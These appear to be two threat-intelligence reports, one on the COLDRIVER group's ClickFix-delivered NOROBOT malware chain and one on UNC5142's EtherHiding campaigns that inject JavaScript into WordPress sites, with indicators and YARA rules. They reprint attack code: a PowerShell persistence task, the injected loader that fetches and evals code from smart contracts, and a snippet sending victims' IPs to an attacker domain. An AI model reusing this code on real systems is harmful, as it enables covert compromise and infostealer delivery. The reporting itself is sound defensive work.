Mandiant Threat Intelligence

Written by: Wesley Shields

Introduction 

COLDRIVER, a Russian state-sponsored threat group known for targeting high profile individuals in NGOs, policy advisors and dissidents, swiftly shifted operations after the May 2025 public disclosure of its LOSTKEYS malware, operationalizing new malware families five days later. It is unclear how long COLDRIVER had this malware in development, but GTIG has not observed a single instance of LOSTKEYS since publication. Instead, GTIG has seen new malware used more aggressively than any other previous malware campaigns we have attributed to COLDRIVER (also known as UNC4057, Star Blizzard, and Callisto).

The new malware, which GTIG attributes directly to COLDRIVER, has undergone multiple iterations since discovery, indicating a rapidly increased development and operations tempo from COLDRIVER. It is a collection of related malware families connected via a delivery chain. GTIG seeks to build on details on a part of this infection chain released in a recent Zscaler blog post by sharing wider details on the infection chain and related malware.

Malware Development Overview 

This re-tooling began with a new malicious DLL called NOROBOT delivered via an updated COLDCOPY “ClickFix” lure that pretends to be a custom CAPTCHA. This is similar to previous LOSTKEYS deployment by COLDRIVER, but updates the infection by leveraging the user to execute the malicious DLL via rundll32, instead of the older multi-stage PowerShell method.

Figure 1: Malware development overview

While the earliest version of NOROBOT led to the deployment of a cumbersome Python backdoor tracked as YESROBOT, COLDRIVER quickly abandoned YESROBOT for a more flexible and extensible Powershell backdoor we track as MAYBEROBOT.

NOROBOT and its preceding infection chain have been subject to constant evolution—initially simplified to increase chances of successful deployment, before re-introducing complexity by splitting cryptography keys. The shift back to more complex delivery chains increases the difficulty of tracking their campaigns. This constant development highlights the group's efforts to evade detection systems for their delivery mechanism for continued intelligence collection against high-value targets.

Delivery via “ClickFix” and Rundll32

This new malware infection chain contains three distinct components which are delivered via a new variant of the COLDCOPY “ClickFix” lure (c4d0fba5aaafa40aef6836ed1414ae3eadc390e1969fdcb3b73c60fe7fb37897) previously seen delivering LOSTKEYS. The new variant of COLDCOPY tries to get the user to download and execute a DLL using rundll32, while trying to disguise itself as a captcha by including text to verify that the user is not a robot. The DLL first observed was named “iamnotarobot.dll” and the export was named “humanCheck” - both of which play into the CAPTCHA theme of the page and partially inspired the ROBOT-themed naming convention for the malware that follows.

Figure 2: COLDCOPY attempting to lure the user to execute NOROBOT

NOROBOT

NOROBOT, also disclosed as BAITSWITCH by Zscaler, is a DLL that has been observed undergoing regular development from May through September 2025. In all of the versions observed the main purpose of NOROBOT has been to retrieve the next stage from a hardcoded command and control (C2) address and prepare the system for the final payload. The earliest version of NOROBOT (2e74f6bd9bf73131d3213399ed2f669ec5f75392de69edf8ce8196cd70eb6aee) made use of cryptography in which the key was split across multiple components and needed to be recombined in a specific way in order to successfully decrypt the final payload. This was likely done to make it more difficult to reconstruct the infection chain because if one of the downloaded components was missing the final payload would not decrypt properly. Despite this attempt to hinder analysis, the earliest version of NOROBOT included fetching and extracting a full Python 3.8 installation, which is a noisy artifact that is likely to raise suspicions.

Details of the files retrieved by this version of NOROBOT are:

• SFX RAR containing a Python 3.8 installation for Windows

• Command to store part of a crypto key in the registry

• Persistence via scheduled task

• Command to run bitsadmin to retrieve a file named libsystemhealthcheck.py

• Command to run bitsadmin to retrieve a file named libcryptopydatasize.py

Both files retrieved using bitsadmin are from inspectguarantee[.]org:

d7520e4f1c55ed1dcbdeba5c6e681e1d269d9b5a690636bf18bcdc5b294f3f8a

libsystemhealthcheck.py

52eb2b3df1e5e2a07ba4562b79eeb67679ac6f7f90190e72d3e6adcf5186401d

libcryptopydatasize.py

The registry key command is:

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\.pietas" /v "ratio" /t REG_BINARY /d "f5e210ec114e1992b81ff89be58cfb2778005f734972239b9655b23fcee5593f19554d0a74dad52c67956781367b06e6" /f

Persistence is done via a scheduled task:

powershell -c " $s = New-Object -ComObject Schedule.Service; $s.Connect(); $t = $s.NewTask(0); $p = $t.principal; $p.logontype = 3; $p.RunLevel = 0; $a = $t.Actions.Create(0); $a.Path = \"$env:APPDATA\Python38-64\pythonw.exe\"; $a.Arguments = \"$env:APPDATA\Python38-64\Lib\libsystemhealthcheck.py\"; $a.WorkingDirectory = \"$env:APPDATA\Python38-64\"; $tr = $t.Triggers.Create(9); $tr.userID = \"$env:computername\"+\"\\\"+\"$env:username\"; $tr.enabled = $true; $s.GetFolder(\"\").RegisterTaskDefinition(\"System health check\", $t, 6, $null, $null, 0) | Out-Null; "

libsystemhealthcheck.py contains part of an AES key that is combined with the key stored in the registry and decrypts libcryptopydatasize.py, which we have named YESROBOT.

YESROBOT

The decrypted version of YESROBOT is a Python backdoor which uses HTTPS to retrieve commands from a hardcoded C2. The commands are AES encrypted with a hardcoded key. System information and username are encoded in the User-Agent header of the request. YESROBOT is a minimal backdoor that requires all commands to be valid Python, which makes typical functionality, such as downloading and executing files or retrieving documents, more cumbersome to implement. A typical approach would include the retrieval and execution logic in the backdoor and only require the operator to send the URL. This makes YESROBOT difficult to extend and operate, and hints that the deployment of YESROBOT was a hastily made choice. GTIG observed only two instances of YESROBOT deployment over a two week period in late May before it was abandoned in favor of a different backdoor, MAYBEROBOT. It is for these reasons that GTIG assesses that YESROBOT was hastily deployed as a stopgap mechanism after our publication on LOSTKEYS.

Figure 3: Main loop of YESROBOT, limited to Python command execution only

MAYBEROBOT

 In early June 2025, GTIG observed a variant of NOROBOT (3b49904b68aedb6031318438ad2ff7be4bf9fd865339330495b177d5c4be69d1) which was drastically simplified from earlier versions. This version fetches a single file, which we observed to be a single command that sets up a logon script for persistence. The logon script was a Powershell command which downloaded and executed the next stage, which we call MAYBEROBOT, also known as SIMPLEFIX by Zscaler.

The file fetched by the logon script was a heavily obfuscated Powershell script (b60100729de2f468caf686638ad513fe28ce61590d2b0d8db85af9edc5da98f9) that uses a hardcoded C2 and a custom protocol that supports 3 commands:

1. Download and execute from a specified URL

2. Execute the specified command using cmd.exe

3. Execute the specified powershell block

In all cases an acknowledgement is sent to the C2 at a different path, while in the case of command 2 and 3, output is sent to a third path.

GTIG assesses that MAYBEROBOT was developed to replace YESROBOT because it does not need a Python installation to execute, and because the protocol is extensible and allows attackers more flexibility when achieving objectives on target systems. While increased flexibility was certainly achieved, it is worth noting that MAYBEROBOT still has minimal built-in functionality and relies upon the operator to provide more complex commands like YESROBOT before it.

The ROBOTs Continue to Evolve

As GTIG continued to monitor and respond to COLDRIVER attempts to deliver NOROBOT to targets of interest from June through September 2025, we observed changes to both NOROBOT and the malware execution chain that indicate COLDRIVER was increasing their development tempo. GTIG has observed multiple versions of NOROBOT over time with varying degrees of simplicity. The specific changes made between NOROBOT variants highlight the group's persistent effort to evade detection systems while ensuring continued intelligence collection against high-value targets. However, by simplifying the NOROBOT downloader, COLDRIVER inadvertently made it easier for GTIG to track their activity. 

GTIG’s insight into the NOROBOT malware’s evolution aligned with our observation of their movement away from the older YESROBOT backdoor in favor of the newer MAYBEROBOT backdoor. GTIG assesses that COLDRIVER may have made changes to the final backdoor for several reasons: YESROBOT requiring a full Python interpreter to function is likely to increase detection in comparison to MAYBEROBOT, and YESROBOT backdoor was not easily extensible. 

As MAYBEROBOT became the more commonly observed final backdoor in these operations, the NOROBOT infection chain to get there continued evolving. Over the course of this period of time, COLDRIVER simplified their malware infection chain and implemented basic evasion techniques, such as rotating infrastructure and file naming conventions, paths where files were retrieved from, how those paths were constructed, changing the export name and changing the DLL name. Along with making these minor changes, COLDRIVER re-introduced the need to collect crypto keys and intermediate downloader stages to be able to properly reconstruct the full infection chain. Adding complexity back in may increase operational security for the operation as it makes reconstructing their activity more difficult. Network defenders need to collect multiple files and crypto keys to reconstruct the full attack chain; whereas in the simplified NOROBOT chain they only need the URL from the logon script to retrieve the final payload.

GTIG has observed multiple versions of NOROBOT indicating consistent development efforts, but the final backdoor of MAYBEROBOT has not changed. This indicates that COLDRIVER is interested in evading detection of their delivery mechanism while having high confidence that MAYBEROBOT is less likely to be detected.

Phishing or Malware?

It is currently not known why COLDRIVER chooses to deploy malware over the more traditional phishing they are known for, but it is clear that they have spent significant development effort to re-tool and deploy their malware to specific targets. One hypothesis is that COLDRIVER attempts to deploy NOROBOT and MAYBEROBOT on significant targets which they may have previously compromised via phishing and already stolen emails and contacts from, and are now looking to acquire additional intelligence value from information on their devices directly.

As COLDRIVER continues to develop and deploy this chain we believe that they will continue their aggressive deployment against high-value targets to achieve their intelligence collection requirements.

Protecting the Community

As part of our efforts to combat threat actors, we use the results of our research to improve the safety and security of Google’s products. Upon discovery, all identified malicious websites, domains and files are added to Safe Browsing to protect users from further exploitation. We also send targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity and encouraging potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.

We are committed to sharing our findings with the security community to raise awareness and with companies and individuals that might have been targeted by these activities. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Indicators of compromise (IOCs) and YARA rules are included in this post, and are also available as a GTI collection and rule pack.

Indicators of Compromise (IOCs)

The following indicators of compromise are available in a Google Threat Intelligence (GTI) collection for registered users.

IOC

Description

viewerdoconline[.]com

COLDCOPY domain

documentsec[.]com

COLDCOPY domain

documentsec[.]online

COLDCOPY domain

onstorageline[.]com

COLDCOPY domain

applicationformsubmit[.]me

COLDCOPY domain

oxwoocat[.]org

COLDCOPY domain

ned-granting-opportunities[.]com

COLDCOPY domain

blintepeeste[.]org

COLDCOPY domain

preentootmist[.]org

COLDCOPY domain

c4d0fba5aaafa40aef6836ed1414ae3eadc390e1969fdcb3b73c60fe7fb37897

COLDCOPY “ClickFix” lure

inspectguarantee[.]org

NOROBOT delivery domain

captchanom[.]top

NOROBOT delivery domain

bce2a7165ceead4e3601e311c72743e0059ec2cd734ce7acf5cc9f7d8795ba0f

YESROBOT

system-healthadv[.]com

YESROBOT C2

85.239.52[.]32

YESROBOT C2

2e74f6bd9bf73131d3213399ed2f669ec5f75392de69edf8ce8196cd70eb6aee

NOROBOT - iamnotarobot.dll - May 2025

3b49904b68aedb6031318438ad2ff7be4bf9fd865339330495b177d5c4be69d1

NOROBOT - checkme.dll - June 2025

e9c8f6a7dba6e84a7226af89e988ae5e4364e2ff2973c72e14277c0f1462109b

NOROBOT - checkme.dll - June 2025

b60100729de2f468caf686638ad513fe28ce61590d2b0d8db85af9edc5da98f9

Obfuscated MAYBEROBOT

southprovesolutions[.]com

MAYBEROBOT C2

f2da013157c09aec9ceba1d4ac1472ed049833bc878a23bc82fe7eacbad399f4

NOROBOT - machinerie.dll - Re-introducing crypto and downloaders

87138f63974a8ccbbf5840c31165f1a4bf92a954bacccfbf1e7e5525d750aa48

NOROBOT - machinerie.dll - Latest sample from late August 2025

YARA Rules rule G_APT_Downloader_NOROBOT_2 { meta: author = "Google Threat Intelligence" description = "DLL which pulls down and executes next stages" strings: $path = "/konfiguration12/" wide $file0 = "arbeiter" wide $file1 = "schlange" wide $file2 = "gesundheitA" wide $file3 = "gesundheitB" wide $new_file0 = "/reglage/avec" wide $new_file1 = "/erreur" wide condition: filesize <= 1MB and ( $path or all of ($file*) or all of ($new_file*) or ( for any s in ("checkme.dll", "iamnotarobot.dll", "machinerie.dll"): (pe.dll_name == s) and for any s in ("humanCheck", "verifyme"): (pe.exports(s)) ) ) } rule G_APT_BACKDOOR_YESROBOT_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $s0 = "return f'Mozilla/5.0 {base64.b64encode(str(get_machine_name()).encode()).decode()} {base64.b64encode(str(get_username()).encode()).decode()} {uuid} {get_windows_version()} {get_machine_locale()}'" $s1 = "'User-Agent': obtainUA()," $s2 = "url = f\"https://{target}/connect\"" $s3 = "print(f'{target} is not availible')" $s4 = "tgtIp = check_targets(tgtList)" $s5 = "cmd_url = f'https://{tgtIp}/command'" $s6 = "print('There is no availible servers...')" condition: 4 of them } rule G_APT_BACKDOOR_MAYBEROBOT_1 { meta: author = "Google Threat Intelligence Group (GTIG)" strings: $replace = "-replace '\\n', ';' -replace '[^\\x20-\\x7E]', '' -replace '(?i)x[0-9A-Fa-f]{4}', '' -split \"\\n\"" condition: all of them }

Written by: Mark Magee, Jose Hernandez, Bavi Sadayappan, Jessa Valdez

Since late 2023, Mandiant Threat Defense and Google Threat Intelligence Group (GTIG) have tracked UNC5142, a financially motivated threat actor that abuses the blockchain to facilitate the distribution of information stealers (infostealers). UNC5142 is characterized by its use of compromised WordPress websites and "EtherHiding", a technique used to obscure malicious code or data by placing it on a public blockchain, such as the BNB Smart Chain. This post is part of a two-part blog series on adversaries using the EtherHiding technique. Read our other post on North Korea (DPRK) adopting EtherHiding.

Since late 2023, UNC5142 has significantly evolved their tactics, techniques, and procedures (TTPs) to enhance operational security and evade detection. Notably, we have not observed UNC5142 activity since late July 2025, suggesting a shift in the actor’s operational methods or a pause in their activity. 

UNC5142 appears to indiscriminately target vulnerable WordPress sites, leading to widespread and opportunistic campaigns that impact a range of industry and geographic regions. As of June 2025, GTIG had identified approximately 14,000 web pages containing injected JavaScript consistent with an UNC5142 compromised website. We have seen UNC5142 campaigns distribute infostealers including ATOMIC, VIDAR, LUMMAC.V2, and RADTHIEF. GTIG does not currently attribute these final payloads to UNC5142 as it is possible these payloads are distributed on behalf of other threat actors. This post will detail the full UNC5142 infection chain, analyze its novel use of smart contracts for operational infrastructure, and chart the evolution of its TTPs based on direct observations from Mandiant Threat Defense incidents.

UNC5142 Attack Overview

An UNC5142 infection chain typically involves the following key components or techniques:

• CLEARSHORT: A multistage JavaScript downloader to facilitate the distribution of payloads 

• Compromised WordPress Websites: Websites running vulnerable versions of WordPress, or using vulnerable plugins/themes 

• Smart Contracts: Self-executing contracts stored on the BNB Smart Chain (BSC) blockchain

• EtherHiding: A technique used to obscure malicious code or data by placing it on a public blockchain. UNC5142 relies heavily on the BNB Smart Chain to store its malicious components in smart contracts, making them harder for traditional website security tools to detect and block

Figure 1: CLEARSHORT infection chain

CLEARSHORT

CLEARSHORT is a multistage JavaScript downloader used to facilitate malware distribution. The first stage consists of a JavaScript payload injected into vulnerable websites, designed to retrieve the second-stage payload from a malicious smart contract. The smart contract is responsible for fetching the next stage, a CLEARSHORT landing page, from an external attacker-controlled server. The CLEARSHORT landing page leverages ClickFix, a popular social engineering technique aimed at luring victims to locally run a malicious command using the Windows Run dialog box. 

CLEARSHORT is an evolution of the CLEARFAKE downloader, which UNC5142 previously leveraged in their operations from late 2023 through mid-2024. CLEARFAKE is a malicious JavaScript framework that masquerades as a Google Chrome browser update notification. The primary function of the embedded JavaScript is to download a payload after the user clicks the "Update Chrome" button. The second-stage payload is a Base64-encoded JavaScript code stored in a smart contract deployed on the BNB Smart Chain.

Compromised WordPress Sites

The attack begins from the compromise of a vulnerable WordPress website which is exploited to gain unauthorized access. UNC5142 injects malicious JavaScript (CLEARSHORT stage 1) code into one of three locations:

• Plugin directories: Modifying existing plugin files or adding new malicious files

• Theme files: Modifying theme files (like header.php, footer.php, or index.php) to include the malicious script

• Database: In some cases, the malicious code is injected directly into the WordPress database

What is a Smart Contract?

Smart contracts are programs stored on a blockchain, like the BNB Smart Chain (BSC), that run automatically when a specified trigger occurs. While these triggers can be complex, CLEARSHORT uses a simpler method by calling a function that tells the contract to execute and return a pre-stored piece of data.

Smart contracts provide several advantages for threat actors to use in their operations, including:

• Obfuscation: Storing malicious code within a smart contract makes it harder to detect with traditional web security tools that might scan website content directly.

• Mutability (and Agility): While smart contracts themselves are immutable, the attackers use a clever technique. They deploy a first-level smart contract that contains a pointer to a second-level smart contract. The first-level contract acts as a stable entry point whose address never changes on the compromised website, directing the injected JavaScript to fetch code from a second-level contract, giving the attackers the ability to change this target without altering the compromised website.

• Resilience: The use of blockchain technology for large parts of UNC5142’s infrastructure and operation increases their resiliency in the face of detection and takedown efforts. Network based protection mechanisms are more difficult to implement for Web3 traffic compared to traditional web traffic given the lack of use of traditional URLs. Seizure and takedown operations are also hindered given the immutability of the blockchain. This is further discussed later in the post.

• Leveraging legitimate infrastructure: The BNB Smart Chain is a legitimate platform. Using it can help the malicious traffic blend in with normal activity as a means to evade detection.

Smart Contract Interaction

CLEARSHORT stage 1 uses Web3.js, a collection of libraries that allow interaction with remote ethereum nodes using HTTP, IPC or WebSocket. Typically to connect to the BNB Smart Chain via a public node like bsc-dataseed.binance[.]org. The stage 1 code contains instructions to interact with specific smart contract addresses, and calls functions defined in the contract’s Application Binary Interface (ABI). These functions return payloads, including URLs to the CLEARSHORT landing page. This page is decoded and executed within the browser, displaying a fake error message to the victim. The lure and template of this error message has varied over time, while maintaining the goal to lure the victim to run a malicious command via the Run dialog box. The executed command ultimately results in the download and execution of a follow-on payload, which is often an infostealer.

// Load libraries from public CDNs to intereact with blockchain and decode payloads. <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/crypto-js.min.js"></script> <script> console.log('Start moving...'); // The main malicious logic starts executing once the webpage's DOM is fully loaded.1st document.addEventListener('DOMContentLoaded', async () => { try { // Establishes a connection to the BNB Smart Chain via a public RPC node. const web3 = new Web3('https://bsc-dataseed.binance.org/'); // Creates an object to interact with the 1st-Level Smart Contract. const contract = new web3.eth.Contract([ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "inputs": [], "name": "orchidABI", // Returns 2nd contract ABI "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "orchidAddress",// Returns 2nd contract address "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" }, ], '0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53'); // Hardcoded address of the 1st-Level Contract. // ABI is Base64 decoded and then decompressed to get clean ABI. const orchidABI = JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c => c.charCodeAt(0)), { to: 'string' })); // Calls the 'orchidAddress' function to get the address of the 2nd-Level Contract. const orchidAddress = await contract.methods.orchidAddress().call(); // New contract object created to represent 2nd-level contract. const orchid = new web3.eth.Contract(orchidABI, orchidAddress); const decompressedScript = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), { to: 'string' }); eval(`(async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);`); } catch (error) { console.error('Road unavaible:', error); } }); </script>

Figure 2: Injected code from a compromised website - CLEARSHORT stage 1

When a user visits a compromised web page, the injected JavaScript executes in the browser and initiates a set of connections to one or multiple BNB smart contracts, resulting in the retrieval and rendering of the CLEARSHORT landing page (stage 2) (Figure 3).

Figure 3: CLEARSHORT Landing Page showing Cloudflare “Unusual Web Traffic” error

EtherHiding

A key element of UNC5142's operations is their use of the EtherHiding technique. Instead of embedding their entire attack chain within the compromised website, they store malicious components on the BNB Smart Chain, using smart contracts as a dynamic configuration and control backend.The on-chain operation is managed by one or more actor-controlled wallets. These Externally Owned Accounts (EOAs) are used to:

• Deploy the smart contracts, establishing the foundation of the attack chain.

• Supply the BNB needed to pay network fees for making changes to the attack infrastructure.

• Update pointers and data within the contracts, such as changing the address of a subsequent contract or rotating the payload decryption keys.

Figure 4: UNC5142's EtherHiding architecture on the BNB Smart Chain

Evolution of UNC5142 TTPs

Over the past year, Mandiant Threat Defense and GTIG have observed a consistent evolution in UNC5142's TTPs. Their campaigns have progressed from a single-contract system to the significantly more complex three-level smart contract architecture that enables their dynamic, multi-stage approach beginning in late 2024.

This evolution is characterized by several key shifts: the adoption of a three smart contract system for dynamic payload delivery, the abuse of legitimate services like Cloudflare Pages for hosting malicious lures, and a transition from simple Base64 encoding to AES encryption. The actor has continuously refined its social engineering lures and expanded its infrastructure, at times operating parallel sets of smart contracts to increase both the scale and resilience of their campaigns.

Timeframe

Key Changes

Hosting & Infrastructure

Lure Encoding / Encryption

Notable Lures & Payloads

May 2024

Single smart contract system

.shop TLDs for lures and C2

Base64

Fake Chrome update lures

November 2024

Introduction of the three-smart-contract system

Abuse of Cloudflare *.pages.dev for lures

.shop / .icu domains for recon

AES-GCM + Base64

STUN server for victim IP recon

January 2025

Refinement of the three-contract system

Continued *.pages.dev abuse

AES-GCM + Base64

New lures: Fake reCAPTCHA, Data Privacy agreements

ATOMIC (macOS), VIDAR

February 2025

Secondary infrastructure deployed

Payload URL stored in smart contract

Expanded use of *.pages.dev and new payload domains

AES-GCM + Base64

New Lure: Cloudflare "Unusual Web Traffic" error

Recon check-in removed, replaced by cookie tracking

March 2025

Active use of both Main and Secondary infrastructure

MediaFire and GitHub for payload hosting

AES-GCM + Base64

Staged POST check-ins to track victim interaction

RADTHIEF, LUMMAC.V2

May 2025

Continued refinement of lures and payload delivery

*.pages.dev for lures, various TLDs for payloads

AES-GCM + Base64

New Lure: "Anti-Bot Verification" for Windows & macOS

Cloudflare Pages Abuse

In late 2024, UNC5142 shifted to the use of the Cloudflare Pages service (*.pages.dev) to host their landing pages; previously they leveraged .shop TLD domains. Cloudflare Pages is a legitimate service maintained by Cloudflare that provides a quick mechanism for standing up a website online, leveraging Cloudflare’s network to ensure it loads swiftly. These pages provide several advantages: Cloudflare is a trusted company, so these pages are less likely to be immediately blocked, and it is easy for the attackers to quickly create new pages if old ones are taken down.

The Three Smart Contract System

The most significant change is the shift from a single smart contract system to a three smart contract system. This new architecture is an adaptation of a legitimate software design principle known as the proxy pattern, which developers use to make their contracts upgradable. A stable, unchangeable proxy forwards calls to a separate second-level contract that can be replaced to fix bugs or add features.

This setup functions as a highly efficient Router-Logic-Storage architecture where each contract has a specific job. This design allows for rapid updates to critical parts of the attack, such as the landing page URL or decryption key, without any need to modify the JavaScript on compromised websites. As a result, the campaigns are much more agile and resistant to takedowns.

1) Initial call to the First-Level contract: The infection begins when the injected JavaScript on a compromised website makes a eth_call to the First-Level Smart Contract (e.g., 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53). The primary function of this contract is to act as a router. Its job is to provide the address and Application Binary Interface (ABI) for the next stage, ensuring attackers rarely need to update the script across their vast network of compromised websites. The ABI data is returned in a compressed and base64 encoded format which the script decodes via atob() and then decompresses using pako.unzip to get the clean interface data.

2) Victim fingerprinting via the Second-Level contract: The injected JavaScript connects to the Second-Level Smart Contract (e.g., 0x8FBA1667BEF5EdA433928b220886A830488549BD). This contract acts as the logic of the attack, containing code to perform reconnaissance actions (Figure 5 and Figure 6). It makes a series of eth_call operations to execute specific functions within the contract to fingerprint the victim’s environment:

• teaCeremony (0x9f7a7126), initially served as a method for dynamic code execution and page display. Later it was used for adding and removing POST check-ins.
• shibuyaCrossing (0x1ba79aa2), responsible for identifying the victim's platform or operating system with additional OS/platform values added over time
• asakusaTemple (0xa76e7648), initially a placeholder for console log display that later evolved into a beacon for tracking user interaction stages by sending user-agent values
• ginzaLuxury (0xa98b06d3), responsible for retrieving the code for finding, fetching, decrypting, and ultimately displaying the malicious lure to the user

The functionality for command and control (C2) check-ins has evolved within the contract:

• Late 2024: The script used a STUN server (stun:stun.l.google.com:19302) to obtain the victim's public IP and sent it to a domain like saaadnesss[.]shop or lapkimeow[.]icu/check.

• February 2025: The STUN-based POST check-in was removed and replaced with a cookie-based tracking mechanism (data-ai-collecting) within the teaCeremony (0x9f7a7126) function.

• April 2025: The check-in mechanism was reintroduced and enhanced. The asakusaTemple (0xa76e7648) function was modified to send staged POST requests to the domain ratatui[.]today, beaconing at each phase of the lure interaction to track victim progression.

Figure 5: Example of second-level smart contract transaction contents

//Example of code retrieved from the second-level smart contract (IP check and STUN) if (await new Promise(r => { let a = new RTCPeerConnection({ iceServers: [{ urls: "stun:stun.l.google.com:19302" }] }); a.createDataChannel(""); a.onicecandidate = e => { let ip = e?.candidate?.candidate?.match(/\d+\.\d+\.\d+\.\d+/)?.[0]; if (ip) { fetch('https://saaadnesss[.]shop/check', { // Or lapkimeow[.]icu/check method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ ip, domain: location.hostname }) }).then(r => r.json()).then(data => r(data.status)); a.onicecandidate = null; } }; a.createOffer().then(o => a.setLocalDescription(o)); }) === "Decline") { console.warn("Execution stopped: Declined by server"); } else { await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2); await teaCeremony(await orchid.methods.akihabaraLights().call(), 3); await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4); await teaCeremony(await orchid.methods.asakusaTemple().call(), 5); }

Figure 6: Decoded reconnaissance code stored in second-level smart contract transaction

3) Lure & payload URL hosting in Third-Level Contract: Once the victim is fingerprinted, the logic in the Second-Level Contract queries the Third-Level Smart Contract (e.g., 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA). This final contract acts as a configuration storage container. It typically contains the URL hosting the encrypted CLEARSHORT payload, the AES key to decrypt the page, and the URL hosting the second stage payload.

Figure 7: Encrypted landing page URL

Figure 8: Payload URL

By separating the static logic (second-level) from the dynamic configuration (third-level), UNC5142 can rapidly rotate domains, update lures, and change decryption keys with a single, cheap transaction to their third-level contract, ensuring their campaign remains effective against takedowns.

How an Immutable Contract Can Be 'Updated'

A key question that arises is how attackers can update something that is, by definition, unchangeable. The answer lies in the distinction between a smart contract's code and its data.

• Immutable code: Once a smart contract is deployed, its program code is permanent and can never be altered. This is the part that provides trust and reliability.

• Mutable data (state): However, a contract can also store data, much like a program uses a database. The permanent code of the contract can include functions specifically designed to change this stored data.

UNC5142 exploits this by having their smart contracts built with special administrative functions. To change a payload URL, the actor uses their controlling wallet to send a transaction that calls one of these functions, feeding it the new URL. The contract's permanent code executes, receives this new information, and overwrites the old URL in its storage.

From that point on, any malicious script that queries the contract will automatically receive the new, updated address. The contract's program remains untouched, but its configuration is now completely different. This is how they achieve agility while operating on an immutable ledger.

An analysis of the transactions shows that a typical update, such as changing a lure URL or decryption key in the third-level contract, costs the actor between $0.25 and $1.50 USD in network fees. After the one-time cost of deploying the smart contracts, the initial funding for an operator wallet is sufficient to cover several hundred such updates. This low operational cost is a key enabler of their resilient, high-volume campaigns, allowing them to rapidly adapt to takedowns with minimal expense.

AES-Encrypted CLEARSHORT

In December 2024, UNC5142 introduced AES encryption for the CLEARSHORT landing page, shifting away from Base64-encoded payloads that were used previously. Not only does this reduce the effectiveness of some detection efforts, it also increases the difficulty of analysis of the payload by security researchers. The encrypted CLEARSHORT landing page is typically hosted on a Cloudflare .dev page. The function that decrypts the AES-encrypted landing page uses an initialization vector retrieved from the third smart contract (Figure 9 and Figure 10). The decryption is performed client-side within the victim's browser.

Figure 9: AES Key within smart contract transaction

// Simplified example of the decryption logic async function decryptScrollToText(encryptedBase64, keyBase64) { const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0)); const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0)); const iv = combinedData.slice(0, 12); // IV is the first 12 bytes const encryptedData = combinedData.slice(12); const cryptoKey = await crypto.subtle.importKey( "raw", key, "AES-GCM", false, ["decrypt"] ); const decryptedArrayBuffer = await crypto.subtle.decrypt( { name: "AES-GCM", iv }, cryptoKey, encryptedData ); return new TextDecoder().decode(decryptedArrayBuffer); } // ... (Code to fetch encrypted HTML and key from the third-level contract) ... if (cherryBlossomHTML) { // cherryBlossomHTML contains the encrypted landing page try { let sakuraKey = await JadeContract.methods.pearlTower().call(); // Get the AES key const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey); // ... (Display the decrypted HTML in an iframe) ... } catch (error) { return; } }

Figure 10: Simplified decryption logic

CLEARSHORT Templates and Lures

UNC5142 has used a variety of lures for their landing page, evolving them over time: 

• January 2025: Lures included fake Data Privacy agreements and reCAPTCHA turnstiles (Figure 11 and Figure 12).

Figure 11: “Disable Data Collection” CLEARSHORT lure

Figure 12: Fake reCAPTCHA lure

• March 2025: The threat cluster began using a lure that mimics a Cloudflare IP web error (Figure 13).

Figure 13: Cloudflare “Unusual Web Traffic” error

• May 2025: An "Anti-Bot Lure" was observed, presenting another variation of a fake verification step (Figure 14).

Figure 14: Anti-Bot Lure

On-Chain Analysis

Mandiant Threat Defense’s analysis of UNC5142's on-chain activity on the BNB Smart Chain reveals a clear and evolving operational strategy. A timeline of their blockchain transactions shows the use of two distinct sets of smart contract infrastructures, which GTIG tracks as the Main and Secondary infrastructures. Both serve the same ultimate purpose, delivering malware via the CLEARSHORT downloader.

Leveraging BNB Smart Chain's smart contract similarity search, a process where the compiled bytecode of smart contracts is compared to find functional commonalities, revealed that the Main and Secondary smart contracts were identical at the moment of their creation. This strongly indicates that the same threat actor, UNC5142, is responsible for all observed activity. It is highly likely that the actor cloned their successful Main infrastructure to create the foundation for Secondary, which could then be updated via subsequent transactions to deliver different payloads.

Further analysis of the funding sources shows that the primary operator wallets for both groups received funds from the same intermediary wallet (0x3b5a...32D), an account associated with the OKX cryptocurrency exchange. While attribution based solely on transactions from a high-volume exchange wallet requires caution, this financial link, combined with the identical smart contract code and mirrored deployment methodologies, makes it highly likely that a single threat actor, UNC5142, controls both infrastructures.

Parallel Distribution Infrastructures

Transaction records show key events for both groups occurring in close proximity, indicating coordinated management.

On Feb. 18, 2025, not only was the entire Secondary infrastructure created and configured, but the Main operator wallet also received additional funding on the same day. This coordinated funding activity strongly suggests a single actor preparing for and executing an expansion of their operations.

Furthermore, on March 3, 2025, transaction records show that operator wallets for both Main and Secondary infrastructures conducted payload and lure update activities. This demonstrates concurrent campaign management, where the actor was actively maintaining and running separate distribution efforts through both sets of smart contracts simultaneously.

Main

Mandiant Threat Defense analysis pinpoints the creation of the Main infrastructure to a brief, concentrated period on Nov. 24, 2024. The primary Main operator wallet (0xF5B9...71B) was initially funded on the same day with 0.1 BNB (worth approximately $66 USD at the time). Over the subsequent months, this wallet and its associated intermediary wallets received funding on multiple occasions, ensuring the actor had sufficient BNB to cover transaction fees for ongoing operations.

